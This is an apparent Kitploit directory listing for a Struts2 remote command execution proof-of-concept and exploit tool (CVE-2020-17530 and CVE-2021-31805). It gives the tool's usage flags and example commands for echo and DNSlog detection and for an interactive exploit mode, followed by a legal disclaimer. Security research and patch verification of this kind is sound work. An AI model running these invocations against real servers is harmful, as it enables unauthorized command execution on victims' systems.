Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2021-31805 — S2-061/S2-062 Struts2 远程命令执行漏洞 POC&EXP | Kitploit
Tools/GitHubGitHub/z92g/cve-2021-31805
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and Control
GitHubz92g/cve-2021-31805

CVE-2021-31805

S2-061/S2-062 Struts2 远程命令执行漏洞 POC&EXP

View Repository
5264 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2021-31805

1.Introduction

Struts2 Remote Command Execution Vulnerability (CVE-2020-17530 & CVE-2021-31805) POC & EXP

2.Usage

  • Parameter Introduction
root@kitploit:~
-u target url
-m [dnslog|exp] //Default echo interface character check
-n [s2-062] //Default s2-061
-s [windows] //Default linux
-p vulnerable parameter
  • Detection with Echo
root@kitploit:~
Struts2RCE -u http://127.0.0.1:8080 //Default s2-061 detection

image

  • Detection without Echo
root@kitploit:~
Please register ceye yourself, and configure ceye.ini
Struts2RCE -u http://127.0.0.1:8080 -m dnslog -n s2-062 //s2-062 dnslog detection, detection speed depends on network and ceye server. Different URLs need to clear dnslog records, otherwise it may cause false positives.

image image

  • EXP
root@kitploit:~
If a vulnerability exists, you can directly input the vulnerability parameter for verification
Struts2RCE -u http://127.0.0.1:8080 -m exp -p id //s2-061 vulnerability, parameter id verification, input q to exit

image

3.Disclaimer

This tool is only for learning, research, and self-inspection. It should not be used for illegal purposes. Please comply with relevant laws and regulations. Any risk arising from the use of this tool is not my responsibility!

Download Tool